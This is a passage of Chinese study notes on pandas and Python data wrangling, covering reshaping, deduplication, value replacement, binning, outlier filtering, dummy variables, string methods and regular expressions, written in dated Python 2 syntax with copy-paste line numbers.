      s2 = pd.Series([4,5,6], index = list('cde'))
      data2 = pd.concat([s1, s2], keys = ['one', 'two'])
      print data2
      print
      print data2.unstack()
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      one  a    0
      b 1
      c 2
      d 3
      two c 4
      d 5
      e 6
      dtype: int64

      a b c d e
      one 0.0 1.0 2.0 3.0 NaN
      two NaN NaN 4.0 5.0 6.0
    4. stack反而会滤除缺失数据,所以该运算是可逆的

      1
      2
      3
      4
      5
      6
      7
      print data2.unstack()
      print
      print data2.unstack().stack()
      print

      #不滤除
      print data2.unstack().stack(dropna = False)
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
             a    b    c    d    e
      one 0.0 1.0 2.0 3.0 NaN
      two NaN NaN 4.0 5.0 6.0

      one a 0.0
      b 1.0
      c 2.0
      d 3.0
      two c 4.0
      d 5.0
      e 6.0
      dtype: float64

      one a 0.0
      b 1.0
      c 2.0
      d 3.0
      e NaN
      two a NaN
      b NaN
      c 4.0
      d 5.0
      e 6.0
      dtype: float64
    5. 对DF进行unstack操作,旋转轴的级别或变成结果中的最低级别

      1
      2
      3
      4
      5
      6
      7
      df = pd.DataFrame({'left': result,'right': result + 5},
      columns = pd.Index(['left', 'right'], name = 'side'))
      print df
      print
      print df.unstack('state')
      print
      print df.unstack('state').stack('side')
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      side             left  right
      state number
      Ohio one 0 5
      two 1 6
      three 2 7
      Colorado one 3 8
      two 4 9
      three 5 10

      side left right
      state Ohio Colorado Ohio Colorado
      number
      one 0 3 5 8
      two 1 4 6 9
      three 2 5 7 10

      state Ohio Colorado
      number side
      one left 0 3
      right 5 8
      two left 1 4
      right 6 9
      three left 2 5
      right 7 10

将”长格式”旋转成”宽格式”

  1. 时间序列数据为”长格式(long)”或”堆叠格式(stacked)”储存

    1. 使用DF.pivoted方法来处理,可以实现转换

    2. 待补充

数据转换

移除重复数据

  1. DF的duplicated方法返回一个布尔Series,表示各行是否是重复行

    1
    2
    3
    4
    5
    6
    7
    data = pd.DataFrame({'k1': ['one'] * 3 + ['two'] * 4,
    'k2': [1,1,2,3,3,4,4]})
    print data
    print

    #duplicated方法
    print data.duplicated()
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
        k1  k2
    0 one 1
    1 one 1
    2 one 2
    3 two 3
    4 two 3
    5 two 4
    6 two 4

    0 False
    1 True
    2 False
    3 False
    4 True
    5 False
    6 True
    dtype: bool
  2. DF的drop~duplicates方法~,返回一个移除了重复行的DF

  3. duplicated和drop~duplicated默认会判断全部列~

    1. 也可以指定部分列进行重复项判断,默认保留第一次出现的值组合

    2. 也可以传入take~last~ = True来保留最后一个

      1
      2
      3
      4
      5
      6
      7
      8
      data['v1'] = range(7)
      print data
      print
      #指定根据k1来判断
      print data.drop_duplicates(['k1'])
      print
      #根据k1和k2判断,但是保留最后一项
      print data.drop_duplicates(['k1', 'k2'], take_last = True)
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
          k1  k2  v1
      0 one 1 0
      1 one 1 1
      2 one 2 2
      3 two 3 3
      4 two 3 4
      5 two 4 5
      6 two 4 6

      k1 k2 v1
      0 one 1 0
      3 two 3 3

      k1 k2 v1
      1 one 1 1
      2 one 2 2
      4 two 3 4
      6 two 4 6

利用函数或映射进行数据转换

  1. 使用map函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    data = pd.DataFrame({'food': ['bacon', 'pulled pork', 'bacon', 'Pastrami',
    'corned beef', 'Bacon', 'pastrami', 'honey ham',
    'nova lox'],
    'ounces': [4,3,12,6,7.5,8,3,5,6]})
    print data
    print

    #需要添加的列表,表示该肉类食物来源的动物类型
    meat_to_animal = {'bacon': 'pig',
    'pulled pork': 'pig',
    'pastrami': 'cow',
    'corned beef': 'cow',
    'honey ham': 'pig',
    'nova lox': 'salmon'}
    #Series的map方法接受一个函数或者含有映射关系的字典型对象
    data['animal'] = data['food'].map(str.lower).map(meat_to_animal)
    print data
    print
    #直接传入一个直接完成全部工作的函数
    print data['food'].map(lambda x: meat_to_animal[x.lower()])
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
              food  ounces
    0 bacon 4.0
    1 pulled pork 3.0
    2 bacon 12.0
    3 Pastrami 6.0
    4 corned beef 7.5
    5 Bacon 8.0
    6 pastrami 3.0
    7 honey ham 5.0
    8 nova lox 6.0

    food ounces animal
    0 bacon 4.0 pig
    1 pulled pork 3.0 pig
    2 bacon 12.0 pig
    3 Pastrami 6.0 cow
    4 corned beef 7.5 cow
    5 Bacon 8.0 pig
    6 pastrami 3.0 cow
    7 honey ham 5.0 pig
    8 nova lox 6.0 salmon

    0 pig
    1 pig
    2 pig
    3 cow
    4 cow
    5 pig
    6 cow
    7 pig
    8 salmon
    Name: food, dtype: object

替换值

  1. repalce方法来替换

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    data = pd.Series([1, -999, 2, -999, -1000, 3])
    print data
    print
    print data.replace(-999, np.nan)
    print
    print data.replace([-999,-1000], np.nan) #-999和-1000替换成NA
    print
    print data.replace([-999, -1000], [np.nan, 0]) #分别替换
    print
    print data.replace({-999: np.nan, -1000: 0})
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    0       1
    1 -999
    2 2
    3 -999
    4 -1000
    5 3
    dtype: int64

    0 1.0
    1 NaN
    2 2.0
    3 NaN
    4 -1000.0
    5 3.0
    dtype: float64

    0 1.0
    1 NaN
    2 2.0
    3 NaN
    4 NaN
    5 3.0
    dtype: float64

    0 1.0
    1 NaN
    2 2.0
    3 NaN
    4 0.0
    5 3.0
    dtype: float64

    0 1.0
    1 NaN
    2 2.0
    3 NaN
    4 0.0
    5 3.0
    dtype: float64

重命名轴索引

对轴索引的操作 map 和rename

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
data = pd.DataFrame(np.arange(12).reshape(3,4),
index = ['Ohio', 'Colorado', 'New York'],
columns = ['one','two', 'three', 'four'])
#把index都变成大写
print data.index.map(str.upper)
print
#用赋值来修改原本数据
data.index = data.index.map(str.upper)
print data
print
#str.title返回标题化的数据,就是开头大写的数据
print data.rename(index = str.title, columns = str.upper)
print
# rename可以使用字典对象来对部分轴标签更新
print data.rename(index = {'OHIO': 'INDIANA'},
columns = {"three": 'peekaboo'})
print
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
['OHIO' 'COLORADO' 'NEW YORK']

one two three four
OHIO 0 1 2 3
COLORADO 4 5 6 7
NEW YORK 8 9 10 11

ONE TWO THREE FOUR
Ohio 0 1 2 3
Colorado 4 5 6 7
New York 8 9 10 11

one two peekaboo four
INDIANA 0 1 2 3
COLORADO 4 5 6 7
NEW YORK 8 9 10 11

如果希望就地修改数据,传入 inplace = True 即可

离散化和面元划分

连续数据常常被离散化或者拆分成”面元(bin)” pd.cut

1
2
3
4
5
6
7
8
9
# 假设希望划分下列年龄
# 分为 '18到25' '26到35' '35到60' '60以上'几个面元,使用pd.cut函数

ages = [20, 22, 25, 27, 21, 23, 37, 31, 61, 45, 41, 32]

#划分, 结果返回所在的区间
bins = [18, 25, 35, 60, 100]
cuts = pd.cut(ages, bins)
print cuts
1
2
3
[(18, 25], (18, 25], (18, 25], (25, 35], (18, 25], ..., (25, 35], (60, 100], (35, 60], (35, 60], (25, 35]]
Length: 12
Categories (4, object): [(18, 25] < (25, 35] < (35, 60] < (60, 100]]
  1. cut函数返回一个特殊的Categorical对象,

    1. 其拥有不同分类名字的levels数组

    2. 以及一个为数据进行标号的labels属性

      1
      2
      3
      4
      5
      6
      7
      8
      # labels是区间的序号
      print cuts.labels
      print
      #levels是所有的区间
      print cuts.levels
      print
      #数在个区间的个数
      print pd.value_counts(cuts)
      1
      [0 0 0 1 0 0 2 1 3 2 2 1]

      :

      1
      Index([u'(18, 25]', u'(25, 35]', u'(35, 60]', u'(60, 100]'], dtype='object')

      :

      1
      2
      3
      4
      5
      (18, 25]     5
      (35, 60] 3
      (25, 35] 3
      (60, 100] 1
      dtype: int64
      1. 括号表示开区间,方括号表示闭区间

      2. 那边是闭区间可以通过 right = False 来修改

        1
        2
        print pd.cut(ages, [18, 26, 36, 61, 100],right = False)
        print pd.cut(ages, [18,26,36,61, 100], right = True)
        1
        2
        3
        4
        5
        6
        [[18, 26), [18, 26), [18, 26), [26, 36), [18, 26), ..., [26, 36), [61, 100), [36, 61), [36, 61), [26, 36)]
        Length: 12
        Categories (4, object): [[18, 26) < [26, 36) < [36, 61) < [61, 100)]
        [(18, 26], (18, 26], (18, 26], (26, 36], (18, 26], ..., (26, 36], (36, 61], (36, 61], (36, 61], (26, 36]]
        Length: 12
        Categories (4, object): [(18, 26] < (26, 36] < (36, 61] < (61, 100]]
      3. 添加标签,代替显示区间,使用cut的labels参数

        1
        2
        3
        4
        5
        6
        7
        8
        group_names =  ['Youth', 'YoungAdult', 'MiddleAged', 'Senior']
        cuts1 = pd.cut(ages, bins, labels = group_names)
        print cuts1
        #labels属性没有变化
        print cuts1.labels
        #levels属性变成标签
        print
        print cuts1.levels
        1
        2
        3
        4
        [Youth, Youth, Youth, YoungAdult, Youth, ..., YoungAdult, Senior, MiddleAged, MiddleAged, YoungAdult]
        Length: 12
        Categories (4, object): [Youth < YoungAdult < MiddleAged < Senior]
        [0 0 0 1 0 0 2 1 3 2 2 1]

        :

        1
        Index([u'Youth', u'YoungAdult', u'MiddleAged', u'Senior'], dtype='object')
    3. 如果cut中传入的是面元数量而不是确切的面元边界

      1. 会根据数据的最小值和最大值计算等长面元

        1
        2
        3
        4
        data = np.random.rand(20)
        # 4 为要分的分数
        # precision 为小数精度
        print pd.cut(data,4, precision = 3)
        1
        2
        3
        [(0.299, 0.526], (0.299, 0.526], (0.299, 0.526], (0.752, 0.979], (0.072, 0.299], ..., (0.072, 0.299], (0.072, 0.299], (0.526, 0.752], (0.299, 0.526], (0.072, 0.299]]
        Length: 20
        Categories (4, object): [(0.072, 0.299] < (0.299, 0.526] < (0.526, 0.752] < (0.752, 0.979]]
  2. qcut类似于cut函数,可以根据样本分位数来划分

    1
    2
    3
    4
    5
    6
    data = np.random.randn(1000) # 正态分布
    cats = pd.qcut(data,4) # 不是区间等分,而是数量等分
    print cats.levels
    print

    print pd.value_counts(cats)
    1
    2
    3
    Index([u'[-3.152, -0.722]', u'(-0.722, -0.00102]', u'(-0.00102, 0.646]',
    u'(0.646, 3.58]'],
    dtype='object')

    :

    1
    2
    3
    4
    5
    (0.646, 3.58]         250
    (-0.00102, 0.646] 250
    (-0.722, -0.00102] 250
    [-3.152, -0.722] 250
    dtype: int64
    1. qcut可以设置自定义的分位数(0到1之间的数值,包含端点),数量等分

      1
      2
      3
      4
      cuts1 = pd.qcut(data, [0, 0.1, 0.5, 0.9, 1.0])
      print cuts1
      print
      print pd.value_counts(cuts1)
      1
      2
      3
      [(-0.00102, 1.169], (1.169, 3.58], (-0.00102, 1.169], (-0.00102, 1.169], (-0.00102, 1.169], ..., (-1.275, -0.00102], (-1.275, -0.00102], (-1.275, -0.00102], (-1.275, -0.00102], (-0.00102, 1.169]]
      Length: 1000
      Categories (4, object): [[-3.152, -1.275] < (-1.275, -0.00102] < (-0.00102, 1.169] < (1.169, 3.58]]

      :

      1
      2
      3
      4
      5
      (-0.00102, 1.169]     400
      (-1.275, -0.00102] 400
      (1.169, 3.58] 100
      [-3.152, -1.275] 100
      dtype: int64

检测和过滤异常值

异常值(outlier)的过滤或换算基本就是数组运算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
np.random.seed(12345)
data = pd.DataFrame(np.random.randn(1000, 4))
print data.describe() # 查看基本描述

#找出某列中绝对值大小超过3的值

col = data[3]
print col[np.abs(col) > 3]
print

#找出含有"超过3或者-3的值"的行,用any方法
print data[np.abs(data) > 3]
print

print data[(np.abs(data) > 3).any(1)]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
                 0            1            2            3
count 1000.000000 1000.000000 1000.000000 1000.000000
mean -0.067684 0.067924 0.025598 -0.002298
std 0.998035 0.992106 1.006835 0.996794
min -3.428254 -3.548824 -3.184377 -3.745356
25% -0.774890 -0.591841 -0.641675 -0.644144
50% -0.116401 0.101143 0.002073 -0.013611
75% 0.616366 0.780282 0.680391 0.654328
max 3.366626 2.653656 3.260383 3.927528
97 3.927528
305 -3.399312
400 -3.745356
Name: 3, dtype: float64

0 1 2 3
0 NaN NaN NaN NaN
1 NaN NaN NaN NaN
2 NaN NaN NaN NaN
3 NaN NaN NaN NaN
4 NaN NaN NaN NaN
5 NaN NaN 3.248944 NaN
6 NaN NaN NaN NaN
7 NaN NaN NaN NaN
8 NaN NaN NaN NaN
9 NaN NaN NaN NaN
10 NaN NaN NaN NaN
11 NaN NaN NaN NaN
12 NaN NaN NaN NaN
13 NaN NaN NaN NaN
14 NaN NaN NaN NaN
15 NaN NaN NaN NaN
16 NaN NaN NaN NaN
17 NaN NaN NaN NaN
18 NaN NaN NaN NaN
19 NaN NaN NaN NaN
20 NaN NaN NaN NaN
21 NaN NaN NaN NaN
22 NaN NaN NaN NaN
23 NaN NaN NaN NaN
24 NaN NaN NaN NaN
25 NaN NaN NaN NaN
26 NaN NaN NaN NaN
27 NaN NaN NaN NaN
28 NaN NaN NaN NaN
29 NaN NaN NaN NaN
.. .. .. ... ..
970 NaN NaN NaN NaN
971 NaN NaN NaN NaN
972 NaN NaN NaN NaN
973 NaN NaN NaN NaN
974 NaN NaN NaN NaN
975 NaN NaN NaN NaN
976 NaN NaN NaN NaN
977 NaN NaN NaN NaN
978 NaN NaN NaN NaN
979 NaN NaN NaN NaN
980 NaN NaN NaN NaN
981 NaN NaN NaN NaN
982 NaN NaN NaN NaN
983 NaN NaN NaN NaN
984 NaN NaN NaN NaN
985 NaN NaN NaN NaN
986 NaN NaN NaN NaN
987 NaN NaN NaN NaN
988 NaN NaN NaN NaN
989 NaN NaN NaN NaN
990 NaN NaN NaN NaN
991 NaN NaN NaN NaN
992 NaN NaN NaN NaN
993 NaN NaN NaN NaN
994 NaN NaN NaN NaN
995 NaN NaN NaN NaN
996 NaN NaN NaN NaN
997 NaN NaN NaN NaN
998 NaN NaN NaN NaN
999 NaN NaN NaN NaN

[1000 rows x 4 columns]

0 1 2 3
5 -0.539741 0.476985 3.248944 -1.021228
97 -0.774363 0.552936 0.106061 3.927528
102 -0.655054 -0.565230 3.176873 0.959533
305 -2.315555 0.457246 -0.025907 -3.399312
324 0.050188 1.951312 3.260383 0.963301
400 0.146326 0.508391 -0.196713 -3.745356
499 -0.293333 -0.242459 -3.056990 1.918403
523 -3.428254 -0.296336 -0.439938 -0.867165
586 0.275144 1.179227 -3.184377 1.369891
808 -0.362528 -3.548824 1.553205 -2.186301
900 3.366626 -2.372214 0.851010 1.332846
  1. 利用这些条件来限制值在区间内(np.sign返回符号(-1,0,1))

    1
    2
    data[np.abs(data) > 3] = np.sign(data) * 3
    print data.describe()
    1
    2
    3
    4
    5
    6
    7
    8
    9
                     0            1            2            3
    count 1000.000000 1000.000000 1000.000000 1000.000000
    mean -0.067623 0.068473 0.025153 -0.002081
    std 0.995485 0.990253 1.003977 0.989736
    min -3.000000 -3.000000 -3.000000 -3.000000
    25% -0.774890 -0.591841 -0.641675 -0.644144
    50% -0.116401 0.101143 0.002073 -0.013611
    75% 0.616366 0.780282 0.680391 0.654328
    max 3.000000 2.653656 3.000000 3.000000

排列和随机采样

numpy.random.permutation函数可以实现对Series或者DF的列的排序工作

  1. 通过需要排列的轴长度调用permutation,产生一个新顺序的整数数组

    1
    2
    3
    df = pd.DataFrame(np.arange( 5 * 4).reshape(5, 4))
    sampler = np.random.permutation(5)
    print sampler
    1
    [1 3 0 2 4]
  2. 然后通过ix索引操作或者take函数中使用该数组

    1
    2
    3
    4
    print df
    print
    print df.take(sampler)
    print
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
        0   1   2   3
    0 0 1 2 3
    1 4 5 6 7
    2 8 9 10 11
    3 12 13 14 15
    4 16 17 18 19

    0 1 2 3
    1 4 5 6 7
    3 12 13 14 15
    0 0 1 2 3
    2 8 9 10 11
    4 16 17 18 19
  3. 通过permutation来随机选取子集

    1
    print df.take(np.random.permutation(len(df))[:3])
    1
    2
    3
    4
        0   1   2   3
    1 4 5 6 7
    0 0 1 2 3
    4 16 17 18 19
    1. 替换方式来产生样本 np.random.randint

      1
      2
      3
      4
      5
      6
      7
      bag = np.array([5,7,-1,6,5])
      sampler = np.random.randint(0, len(bag), size = 10)
      print sampler
      print

      draws = bag.take(sampler)
      print draws
      1
      [3 0 4 1 1 2 3 0 1 2]

      :

      1
      [ 6  5  5  7  7 -1  6  5  7 -1]

计算指标/哑变量

常用于统计建模或机器学习的转换方式

将 分类标量 转换成 哑变量矩阵 或 指标矩阵

  1. 如果DF某一列含有K个不同的值,则可以派生出一个

  2. pandas中 get~dummies函数可以实现该功能~

    1
    2
    3
    4
    5
    df = pd.DataFrame({'key': list('bbacab'),
    'data1': range(3,9)})
    print df
    print
    print pd.get_dummies(df['key'])
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
       data1 key
    0 3 b
    1 4 b
    2 5 a
    3 6 c
    4 7 a
    5 8 b

    a b c
    0 0.0 1.0 0.0
    1 0.0 1.0 0.0
    2 1.0 0.0 0.0
    3 0.0 0.0 1.0
    4 1.0 0.0 0.0
    5 0.0 1.0 0.0
  3. 给指标DF的列一个前缀,以便能够跟其他数据进行合并 prefix参数

    1
    2
    3
    4
    5
    6
    dummies = pd.get_dummies(df['key'], prefix = 'key')
    print dummies
    print
    # 将 df的 data1列与 dummies合并,就是左右合并,dummies的列为前缀_[a, b,c...]
    df_with_dummy = df[['data1']].join(dummies)
    print df_with_dummy
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
       key_a  key_b  key_c
    0 0.0 1.0 0.0
    1 0.0 1.0 0.0
    2 1.0 0.0 0.0
    3 0.0 0.0 1.0
    4 1.0 0.0 0.0
    5 0.0 1.0 0.0

    data1 key_a key_b key_c
    0 3 0.0 1.0 0.0
    1 4 0.0 1.0 0.0
    2 5 1.0 0.0 0.0
    3 6 0.0 0.0 1.0
    4 7 1.0 0.0 0.0
    5 8 0.0 1.0 0.0
  4. 对于某行同属于多个分类的处理 没明白</span>

    1. 读取数据

      1
      2
      3
      4
      mnames = ['movie_id', 'title', 'genres']
      movies = pd.read_table('pydata-book-master\ch02\movielens\movies.dat',
      sep = '::', header = None, names = mnames)
      print movies[:10]
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
         movie_id                               title                        genres
      0 1 Toy Story (1995) Animation|Children's|Comedy
      1 2 Jumanji (1995) Adventure|Children's|Fantasy
      2 3 Grumpier Old Men (1995) Comedy|Romance
      3 4 Waiting to Exhale (1995) Comedy|Drama
      4 5 Father of the Bride Part II (1995) Comedy
      5 6 Heat (1995) Action|Crime|Thriller
      6 7 Sabrina (1995) Comedy|Romance
      7 8 Tom and Huck (1995) Adventure|Children's
      8 9 Sudden Death (1995) Action
      9 10 GoldenEye (1995) Action|Adventure|Thriller
    2. 给每个genre添加指标变量

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      # 从数据集中抽取出不同的genre值(注意巧用set.union)
      genre_iter = (set(x.split('|')) for x in movies.genres)
      genres = sorted(set.union(*genre_iter))

      #从一个全零DF开始构建指标DF
      dummies = pd.DataFrame(np.zeros((len(movies), len(genres))),
      columns = genres)

      #接下来,迭代每部电影并将dummies各行的项设置为1
      for i, gen in enumerate(movies.genres):
      dummies.ix[i, gen.split('|')] = 1

      # 然后,在将其与movies合并起来
      movies_windic = movies.join(dummies.add_prefix('Genre_'))
      print movies_windic.ix[0]
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      movie_id                                       1
      title Toy Story (1995)
      genres Animation|Children's|Comedy
      Genre_Action 0
      Genre_Adventure 0
      Genre_Animation 1
      Genre_Children's 1
      Genre_Comedy 1
      Genre_Crime 0
      Genre_Documentary 0
      Genre_Drama 0
      Genre_Fantasy 0
      Genre_Film-Noir 0
      Genre_Horror 0
      Genre_Musical 0
      Genre_Mystery 0
      Genre_Romance 0
      Genre_Sci-Fi 0
      Genre_Thriller 0
      Genre_War 0
      Genre_Western 0
      Name: 0, dtype: object
    3. 对统计应用有用的秘诀是

      1. 结合get~dummies~ 和诸如cut之类的离散化函数

        1
        2
        3
        4
        5
        values = np.random.rand(10)
        print values

        bins = [0, 0.2, 0.4, 0.6, 0.8, 1.]
        print pd.get_dummies(pd.cut(values, bins))
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        [ 0.48344916  0.11734259  0.07557764  0.21863608  0.90953758  0.38441329
        0.08127486 0.95663486 0.04387138 0.14476865]
        (0, 0.2] (0.2, 0.4] (0.4, 0.6] (0.6, 0.8] (0.8, 1]
        0 0.0 0.0 1.0 0.0 0.0
        1 1.0 0.0 0.0 0.0 0.0
        2 1.0 0.0 0.0 0.0 0.0
        3 0.0 1.0 0.0 0.0 0.0
        4 0.0 0.0 0.0 0.0 1.0
        5 0.0 1.0 0.0 0.0 0.0
        6 1.0 0.0 0.0 0.0 0.0
        7 0.0 0.0 0.0 0.0 1.0
        8 1.0 0.0 0.0 0.0 0.0
        9 1.0 0.0 0.0 0.0 0.0

字符串操作

字符串对象方法

  1. 一些处理方法例子

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    val = 'a,b,  guido'
    print val.split(',')

    #结合 strip(用于修剪空白符(包括换行符))一起使用
    pieces = [x.strip() for x in val.split(',')]
    print pieces
    print

    #利用加法,可以将这些子字符串以双冒号分隔符的形式连接起来
    first, second, third = pieces
    print first + '::' + second + "::" + third
    print

    #但是这种不很实用,一种更快的ptyhon方法就是
    #向字符串"::"的join方法传入一个列表或者元组
    print "::".join(pieces)
    print

    #另一个方法就是子串定位,检测子串的最佳方式是利用python的in关键字(index和find也可以用)
    print 'guido' in val
    print
    print val.index(',') # 找不到会引发异常
    print val.find(':') # 找不到会返回-1

    #count返回指定子串出现的次数
    print val.count(',')

    #repalce用于将指定模式替换另一种模式,
    #常用于删除模式: 传入空字符串
    print val.replace(',', '::')
    print
    print val.replace(',', '')
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    ['a', 'b', '  guido']
    ['a', 'b', 'guido']

    a::b::guido

    a::b::guido

    True

    1
    -1
    2
    a::b:: guido

    ab guido
  2. Python 内置的字符串方法

    | 方法 | 说明 |
    |—————————|—————————————————————————————-|
    | count | 返回子串在字符串中的出现次数(非重叠) |
    | endswith startswith | 如果字符串以某个后缀结尾(开头),则返回True |
    | join | 将字符串用于连接其他字符串序列的分隔符 |
    | index | 如果在字符串中找到子串,则返回子串第一个字符所在的位置 |
    | | 如果没有找到,则引发VauleError |
    | find | 如果在字符串中找到子串,则返回第一个发现子串的第一个字符的位置 |
    | | 如果没有找到,则返回-1 |
    | rfind | 如果在字符串中找到子串,则返回最后一个发现的子串的第一字符所在的位置 |
    | | 如果没有找到,则返回-1 |
    | raplace | 用另一个字符串替换指定子串 |
    | strip rstrip lstrip | 去除空白符(包括换行符) |
    | | 相当于对个元素执行了x.strip() (以及rstrip lstrip) |
    | split | 通过指定的分隔符将字符串拆分为一组子串 |
    | lower upper | 将字符转换成小写或大写 |
    | ljust rjust | 用空格(或其他字符)填充字符串的空白侧以返回符合的最低宽度字符串 |

正则表达式

re模块的函数分为三大块

  • 模式匹配
  • 替换
  • 拆分
  1. 拆分例子

    1
    2
    3
    4
    5
    6
    7
    8
    9
    import re
    text = "foo bar\t baz \tqux"
    print re.split('\s+', text)

    # 也可以先编译regex以得到一个可重用的regex对象
    regex = re.compile('\s+')
    print regex.split(text)
    # 如果只想得到匹配regex的所有模式,则可以用findall方法
    print regex.findall(text)
    1
    2
    3
    ['foo', 'bar', 'baz', 'qux']
    ['foo', 'bar', 'baz', 'qux']
    [' ', '\t ', ' \t']
    1. 因为re.split自带先re.compile之后在拆分

    2. 对于许多字符串使用同一正则表达式,先通过re.compile创建regex对象,更节省时间

  2. match search findall 之间的不同

    1. findall会返回字符串中所有的匹配项

    2. search返回第一个匹配项

    3. match更严格,只匹配字符串的首部

    4. 区别例子

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      text = """Dave dave@google.com
      Steve steve@gmail.com
      Rob rob@gmail.com
      Ryan ryan@yahoo.com"""

      pattern = r'[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}'

      # re.IGNORECASS的作用是使正则表达式对大小写不敏感
      regex = re.compile(pattern, flags = re.IGNORECASE)

      #对text使用findall打到 一组电子邮件地址
      print regex.findall(text)

      #search匹配字一个地址
      # m 是个对象
      m = regex.search(text)
      print text[m.start(): m.end()]

      #regex.match将返回None,因为他只匹配字符串开头
      print regex.match(text)
      1
      2
      3
      ['dave@google.com', 'steve@gmail.com', 'rob@gmail.com', 'ryan@yahoo.com']
      dave@google.com
      None
  3. sub方法 会将匹配到的模式替换成指定字符串,返回得到的新字符串

    1
    print regex.sub('REDACTED', text)
    1
    2
    3
    4
    Dave REDACTED
    Steve REDACTED
    Rob REDACTED
    Ryan REDACTED
  4. 如果不止找出数据(电子邮件地址),还要将数据分成几部分(列如 用户名
    域名 域后缀)

    1. 将待分段的模式的各部分用圆括号包起来即可

      1
      2
      3
      4
      5
      6
      7
      8
      9
      pattern = r'([A-Z0-9._%+-]+)@([A-Z0-9.-]+)\.([A-Z]{2,4})'
      regex = re.compile(pattern, flags = re.IGNORECASE)

      #可以通过groups方法返回一个由模式各段组成的元组
      m = regex.match('wesm@bright.net')
      print m.groups()

      #对于findall会返回一个元组列表
      print regex.findall(text)
      1
      2
      ('wesm', 'bright', 'net')
      [('dave', 'google', 'com'), ('steve', 'gmail', 'com'), ('rob', 'gmail', 'com'), ('ryan', 'yahoo', 'com')]
  5. sub还能通过诸如\\1 \\2之类的特殊符号访问各匹配项中的分组

    1
    print regex.sub(r'Username: \1, Domain: \2, Sufix : \3',text)
    1
    2
    3
    4
    Dave Username: dave, Domain: google, Sufix : com
    Steve Username: steve, Domain: gmail, Sufix : com
    Rob Username: rob, Domain: gmail, Sufix : com
    Ryan Username: ryan, Domain: yahoo, Sufix : com
  6. 正则扩展

    1. 为各个匹配分组加上一个名字

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      regex = re.compile(r"""
      (?P<username>[A-Z0-9._%+-]+)
      @
      (?P<domain>[A-Z0-9.-]+)
      \.
      (?P<suffix>[A-Z]{2,4})""", flags = re.IGNORECASE|re.VERBOSE)

      m = regex.match('wesm@bright.net')
      #这种正则表达式所产生的匹配项对象可以得到一个简单易用的带有分组名称的字典
      print m.groupdict()
      1
      {'username': 'wesm', 'domain': 'bright', 'suffix': 'net'}

正则表达式方法

方法 说明
findall finditer 返回字符串中所有的非重叠匹配模式
findall返回所有模式组成的列表
finditer返回一个迭代器逐个返回
match 从字符串起始位置匹配,还可以对模式各部分分组
如果匹配到模式,则返回一个匹配项对象,否则返回None
search 如果找到返回第一个匹配对象
与match不同,其可以位于字符串的任意位置,而不仅仅是起始处
split 根据找到的字符串拆分成数段
sub subn 将字符串中所有(sub)或前n个(subn)替换成指定表达式
在替换字符串中可以通过\\1 \\2等符号表示各分组项

Pandas中矢量化的字符串函数

矢量化字符串规整化

  1. 例子

    1. 处理数据

      1
      2
      3
      4
      5
      6
      data = {'Dave': 'dave@google.com',
      'Steve': 'steve@gmail.com',
      'Rob': 'rob@gmail.com',
      'Wes':np.nan}
      data = pd.Series(data)
      print data
      1
      2
      3
      4
      5
      Dave     dave@google.com
      Rob rob@gmail.com
      Steve steve@gmail.com
      Wes NaN
      dtype: object
    2. 通过data.map,所有字符串和正则方法(传入函数)各个值,但是NA会报错

    3. 为了解决这问题,Series有跳过NA值的字符串方法

    4. Series的Str属性可以访问这些方法

      1. 例如通过str.contains检查邮件地址是否含有”gmail”

        1
        print data.str.contains('gmail')
        1
        2
        3
        4
        5
        Dave     False
        Rob True
        Steve True
        Wes NaN
        dtype: object
      2. 使用正则表达式,还可以加上任意re选项(如IGNORECASE)

        1
        2
        3
        print pattern
        print
        print data.str.findall(pattern, flags = re.IGNORECASE)
        1
        ([A-Z0-9._%+-]+)@([A-Z0-9.-]+)\.([A-Z]{2,4})

        :

        1
        2
        3
        4
        5
        Dave     [(dave, google, com)]
        Rob [(rob, gmail, com)]
        Steve [(steve, gmail, com)]
        Wes NaN
        dtype: object
